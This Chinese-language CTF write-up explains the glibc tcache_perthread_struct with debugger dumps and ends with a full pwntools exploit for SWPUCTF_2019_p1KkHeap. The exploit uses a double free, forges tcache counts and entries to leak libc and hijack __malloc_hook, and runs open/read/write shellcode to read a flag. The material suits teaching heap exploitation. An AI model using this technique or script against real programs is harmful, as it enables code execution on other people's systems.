0x00 关于tcache_perthread_struct

tcache 是 glibc 2.26 (ubuntu 17.10) 之后引入的一种技术,目的是提升堆管理的性能,与 fastbin 类似。 tcache 引入了两个新的结构体,tcache_entrytcache_perthread_struct
两个结构体源码如下

1
2
3
4
5
6
7
8
9
10
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;

typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];//0x40
tcache_entry *entries[TCACHE_MAX_BINS];//0x40
} tcache_perthread_struct;
1
2
TCACHE_MAX_BINS:
# define TCACHE_MAX_BINS 64

我们在引入了tcache的glibc版本中,申请第一块chunk时查看heap状态会发现多申请了一块大小0x250的chunk(glibc2.32+为0x290,因为counts的类型从char变成了uint16_t)。这个chunk就是 tcache_perthread_struct
counts数组的是各个size的tcache bin中的chunk数量,而entries指针数组则存放着各个size的tcache bin中的第一个chunk的mem地址(fd地址而非堆头地址)
我们通过调试SWPUCTF_2019_p1KkHeap这道题目的程序来使其直观化
我们先申请了size为0x80,0x90,0xa0的三个chunk,查看heap如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Allocated chunk | PREV_INUSE
Addr: 0x555555a01000
Size: 0x250 (with flag bits: 0x251)

Allocated chunk | PREV_INUSE
Addr: 0x555555a01250
Size: 0x90 (with flag bits: 0x91)

Allocated chunk | PREV_INUSE
Addr: 0x555555a012e0
Size: 0xa0 (with flag bits: 0xa1)

Allocated chunk | PREV_INUSE
Addr: 0x555555a01380
Size: 0xb0 (with flag bits: 0xb1)

Top chunk | PREV_INUSE
Addr: 0x555555a01430
Size: 0x20bd0 (with flag bits: 0x20bd1)

发现除了我们申请的三个chunk,还有一个size为0x250的chunk,正是 tcache_perthread_struct。然后我们free申请的三个chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Allocated chunk | PREV_INUSE
Addr: 0x555555a01000
Size: 0x250 (with flag bits: 0x251)

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x555555a01250
Size: 0x90 (with flag bits: 0x91)
fd: 0x00

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x555555a012e0
Size: 0xa0 (with flag bits: 0xa1)
fd: 0x00

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x555555a01380
Size: 0xb0 (with flag bits: 0xb1)
fd: 0x00

Top chunk | PREV_INUSE
Addr: 0x555555a01430
Size: 0x20bd0 (with flag bits: 0x20bd1)

注意这里显示的chunk地址是从堆头开始计的,也就是包括了pre_size域和size域。此时查看bins

1
2
3
4
5
6
7
8
9
10
11
12
tcachebins
0x90 [ 1]: 0x555555a01260 ◂— 0
0xa0 [ 1]: 0x555555a012f0 ◂— 0
0xb0 [ 1]: 0x555555a01390 ◂— 0
fastbins
empty
unsortedbin
empty
smallbins
empty
largebins
empty

注意bins中的chunk地址是从fd开始计的
三个chunk已经加入了tcachebins(大小为0x20到0x410),我们查看 tcache_perthread_struct

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
pwndbg> x/80gx 0x555555a01000
0x555555a01000: 0x0000000000000000 0x0000000000000251
0x555555a01010: 0x0100000000000000 0x0000000000000101
0x555555a01020: 0x0000000000000000 0x0000000000000000
0x555555a01030: 0x0000000000000000 0x0000000000000000
0x555555a01040: 0x0000000000000000 0x0000000000000000
0x555555a01050: 0x0000000000000000 0x0000000000000000
0x555555a01060: 0x0000000000000000 0x0000000000000000
0x555555a01070: 0x0000000000000000 0x0000000000000000
0x555555a01080: 0x0000000000000000 0x0000555555a01260
0x555555a01090: 0x0000555555a012f0 0x0000555555a01390
0x555555a010a0: 0x0000000000000000 0x0000000000000000
0x555555a010b0: 0x0000000000000000 0x0000000000000000
0x555555a010c0: 0x0000000000000000 0x0000000000000000
0x555555a010d0: 0x0000000000000000 0x0000000000000000
0x555555a010e0: 0x0000000000000000 0x0000000000000000
0x555555a010f0: 0x0000000000000000 0x0000000000000000
0x555555a01100: 0x0000000000000000 0x0000000000000000
0x555555a01110: 0x0000000000000000 0x0000000000000000
0x555555a01120: 0x0000000000000000 0x0000000000000000
0x555555a01130: 0x0000000000000000 0x0000000000000000
0x555555a01140: 0x0000000000000000 0x0000000000000000
0x555555a01150: 0x0000000000000000 0x0000000000000000
0x555555a01160: 0x0000000000000000 0x0000000000000000
0x555555a01170: 0x0000000000000000 0x0000000000000000
0x555555a01180: 0x0000000000000000 0x0000000000000000
0x555555a01190: 0x0000000000000000 0x0000000000000000
0x555555a011a0: 0x0000000000000000 0x0000000000000000
0x555555a011b0: 0x0000000000000000 0x0000000000000000
0x555555a011c0: 0x0000000000000000 0x0000000000000000
0x555555a011d0: 0x0000000000000000 0x0000000000000000
0x555555a011e0: 0x0000000000000000 0x0000000000000000
0x555555a011f0: 0x0000000000000000 0x0000000000000000
0x555555a01200: 0x0000000000000000 0x0000000000000000
0x555555a01210: 0x0000000000000000 0x0000000000000000
0x555555a01220: 0x0000000000000000 0x0000000000000000
0x555555a01230: 0x0000000000000000 0x0000000000000000
0x555555a01240: 0x0000000000000000 0x0000000000000000

正如上示, tcache_perthread_struct的size域为0x251(含标志位),实际大小为0x555555a01000到0x555555a01240的0x250大小的一块。
我们先记0x555555a01000为heapbase,heapbase+0x10到heapbase+0x40这一块为counts数组,heapbase+0x50到heapbase+0x250的大小0x200(0x40*8)的一块为entries数组
heapbase+0x50存放大小0x20的tcachebin的第一个chunk的fd地址,heapbase+0x58存放大小0x30的tcachebin的第一个chunk的fd地址,以此类推,在heap+0x88存放的是大小0x90的tcachebin的第一个chunk的fd位置(不是fd值),即0x555555a01260,heap+0x90和heap+0x98处同理

1
2
0x555555a01080: 0x0000000000000000      0x0000555555a01260
0x555555a01090: 0x0000555555a012f0 0x0000555555a01390
1
2
3
4
tcachebins
0x90 [ 1]: 0x555555a01260 ◂— 0
0xa0 [ 1]: 0x555555a012f0 ◂— 0
0xb0 [ 1]: 0x555555a01390 ◂— 0

counts数组位置记录的chunk数量是如何索引的呢?

1
2
3
4
5
6
pwndbg> x/40bx 0x555555a01010
0x555555a01010: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x01
0x555555a01018: 0x01 0x01 0x00 0x00 0x00 0x00 0x00 0x00
0x555555a01020: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x555555a01028: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x555555a01030: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

如上所示为counts数组,在counts数组为char类型的版本中(也就是此处版本),在小端序情况下,从heap+0x10处开始,按照低字节到高字节(也就是低地址到高地址)存储。如上所示(在使用x/gx查看de时候显示出的数据会按照小端序的方式以0x8字节为单位呈现,会使得在高地址的第八个0x01被理解为高位,所以改用x/bx查看更加直观)
第1字节存放大小0x20的tcachebin的chunk数量,以此类推看到第8字节,9字节,10字节都是0x01,也就是我们释放的三个chunk。

0x01 漏洞利用:修改counts数组和entries指针数组

看tcache_free函数

1
2
3
4
5
6
7
8
9
10
11
12
#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);
if (tcache
&& tc_idx < mp_.tcache_bins
&& tcache->counts[tc_idx] < mp_.tcache_count)//<7
{
tcache_put (p, tc_idx);
return;
}
}
#endif

当对应大小的tcachebin中的chunk数量小于7时,会优先放入tcachebin,然而这里检查的是tcache->counts数组中的元素,也就是根据tcache_perthread_struct中的数据来判断,但却没有检查double free(在glibc2.29之后引入了key字段来防御double free,然而仍然可以绕过,关于不同版本glibc的堆管理和保护机制我再单独开一篇博客来记录)
tcache_perthread_struct本身也是可以free的,其也可直接当做大小0x250(0x290)的chunk来看待。同理,如果想要把tcache_perthread_struct放入unsorted bin,就要将tcache->counts中记录0x250(0x290)大小chunk的数量改为7
看在使用tcache时的malloc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#if USE_TCACHE
/* int_free also calls request2size, be careful to not pad twice. */
size_t tbytes;
checked_request2size (bytes, tbytes);
size_t tc_idx = csize2tidx (tbytes);
MAYBE_INIT_TCACHE ();
DIAG_PUSH_NEEDS_COMMENT;
if (tc_idx < mp_.tcache_bins
/*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
&& tcache
&& tcache->entries[tc_idx] != NULL)
{
return tcache_get (tc_idx);
}
DIAG_POP_NEEDS_COMMENT;
#endif

这里是根据tcache->entries数组的元素来索引tcachebins中的第一个chunk,同样也是根据tcache_perthread_struct中的数据来判断。
所以说,如果我们能够修改tcache_perthread_struct中的数据,也就能控制整个tcachebins。我们可以修改counts数组的数量,以将chunk放到我们想放置的其他bins中(比如放入unsortedbin来泄露malloc_hook,libc),也可以修改entries数组的数据来malloc任意地址。

0x02 以SWPUCTF_2019_p1KkHeap为例

复盘/tcache_perthread_struct attack/unsortedbin leak/uaf/double free/orw

先放源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
const char *v3; // rdi
int v4; // eax

sub_B0A();
v3 = " Welcome to SWPUCTF 2019";
puts(" Welcome to SWPUCTF 2019");
while ( dword_202024 > 0 )
{
menu();
v4 = sub_1076();
if ( v4 == 3 )
{
Edit();
}
else if ( v4 > 3 )
{
if ( v4 == 5 )
Exit();
if ( v4 < 5 )
{
Delete(v3, a2);
}
else if ( v4 == 666 )
{
v3 = "p1Kk wants a boyfriend!";
puts("p1Kk wants a boyfriend!");
}
}
else if ( v4 == 1 )
{
Add(v3, a2);
}
else if ( v4 == 2 )
{
Show(v3, a2);
}
--dword_202024;
}
Exit();
}

菜单,限制操作次数至多为0x12,看选项函数

add

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int sub_E1E()
{
int v1; // [rsp+4h] [rbp-Ch]
size_t size; // [rsp+8h] [rbp-8h]

printf("size: ");
size = sub_1076();
if ( size > 0x100 )
Exit();
v1 = sub_DA9();
if ( v1 <= 7 )
{
qword_202100[v1] = malloc(size);
dword_2020E0[v1] = size;
}
return puts("Done!");
}

最多申请八次堆,每次返回不同索引,size至多为0x100
edit

1
2
3
4
5
6
7
8
9
10
11
12
int sub_EC1()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]

printf("id: ");
v1 = sub_1076();
if ( v1 > 7 )
Exit();
printf("content: ");
read(0, *((void **)&qword_202100 + v1), dword_2020E0[v1]);
return puts("Done!");
}

dword_2020E0数组记录了chunk大小,不能溢出
show

1
2
3
4
5
6
7
8
9
10
11
12
int sub_F58()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]

printf("id: ");
v1 = sub_1076();
if ( v1 > 7 )
Exit();
printf("content: ");
puts((const char *)qword_202100[v1]);
return puts("Done!");
}

delete

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int Delete()
{
int v0; // eax
__int64 v2; // [rsp+8h] [rbp-8h]

if ( dword_202020 <= 0 )
Exit();
printf("id: ");
sub_1076();
v2 = v0;
if ( (unsigned __int64)v0 > 7 )
Exit();
free((void *)qword_202100[v0]);
dword_2020E0[v2] = 0;
--dword_202020;
return puts("Done!");
}

dword_202020限制只能free三次,指针没置零。但是dword_2020E0数组对应项置零,free后无法edit,只能show。

那么思路就是,先泄露tcache_perthread_struct的地址,然后修改counts数组,将chunk放到unsortedbin,泄露出malloc_hook
我们还能注意到,程序映射了一块rwx内存位于0x66660000,可读可写可执行

1
2
3
4
if ( mmap((void *)0x66660000, 0x1000uLL, 7, 34, -1, 0LL) != (void *)1717960704 )
exit(-1);
memset((void *)0x66660000, 0, 0x1000uLL);
strcpy((char *)0x66660000, "SWPUCTF_p1Kk");

那么思路很清晰了,只需要向这块区域写入shellcode即可。但是写入后发现无法getshell,后来发现程序开启了沙箱。那么用shellcode进行orw即可。
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import*
context.os='linux'
context.arch='amd64'
context.log_level='debug'

io=remote('node5.anna.nssctf.cn',20392)
libc=ELF('/home/turing/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6')

#0x12次操作
def alloc(size): #最多8次alloc
io.sendlineafter(b"Choice: ",b'1')
io.sendlineafter(b"size: ",str(size))
io.recvuntil(b"Done!\n")

def show(idx):
io.sendlineafter(b"Choice: ",b'2')
io.sendlineafter(b"id: ",str(idx))
io.recvuntil(b"content: ")

def edit(idx,content):
io.sendlineafter(b"Choice: ",b'3')
io.sendlineafter(b"id: ",str(idx))
io.recvuntil(b"content: ")
io.sendline(content)

def free(idx): #最多3次free
io.sendlineafter(b"Choice: ",b'4')
io.sendlineafter(b"id: ",str(idx))
io.recvuntil(b"Done!\n")

def exit():
io.sendlineafter(b"Choice: ",b'5')

alloc(0x99) #0
free(0)
free(0)
show(0)
heap_base=u64(io.recv(6).ljust(8,b'\x00'))-0x260
log.success(hex(heap_base))
alloc(0x99) #1
edit(1,p64(heap_base+0x10))
io.recvuntil(b"Done!\n")
alloc(0x99) #2
alloc(0x99) #3 指向tcache_perthread_struct(heap_base+0x10)
edit(3,b'\x07'*0x40) #修改tcache_perthread_struct中的对应tcache bins的chunk数量
io.recvuntil(b"Done!\n")
free(3) #进入unsorted bin
show(3)
malloc_hook_add=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-96-0x10# 泄露出malloc_hook,在较低版本中unsortedbin的表头距main_arena起始地址的偏移为88,这个版本为96。而malloc_hook距main_arena就是0x10
log.success(hex(malloc_hook_add))
#libcbase=malloc_hook_add-libc.sym['__malloc_hook']
alloc(0x100) #4,将tcache_perthread_struct申请回来了
magic_add=0x66660000
edit(4,b'\xff'*0x40+b'\x00'*0x30+p64(malloc_hook_add)+p64(magic_add)) #修改0x80和0x90的tcachebin为malloc_hook和rwx内存
io.recvuntil(b"Done!\n")
flag_add=heap_base+0x270 #将flag读入堆区
shellcode=shellcraft.open("/flag")
shellcode+=shellcraft.read(3,flag_add,0x30)
shellcode+=shellcraft.write(1,flag_add,0x30)
shellcode=asm(shellcode)
alloc(0x80) #5 申请到rwx内存
edit(5, shellcode)
io.recvuntil(b"Done!")
sleep(1)
alloc(0x70) #6 申请到malloc_hook地址
edit(6, p64(magic_add))#将malloc_hook指向shellcode
alloc(0x10) #7 执行malloc_hook

io.interactive()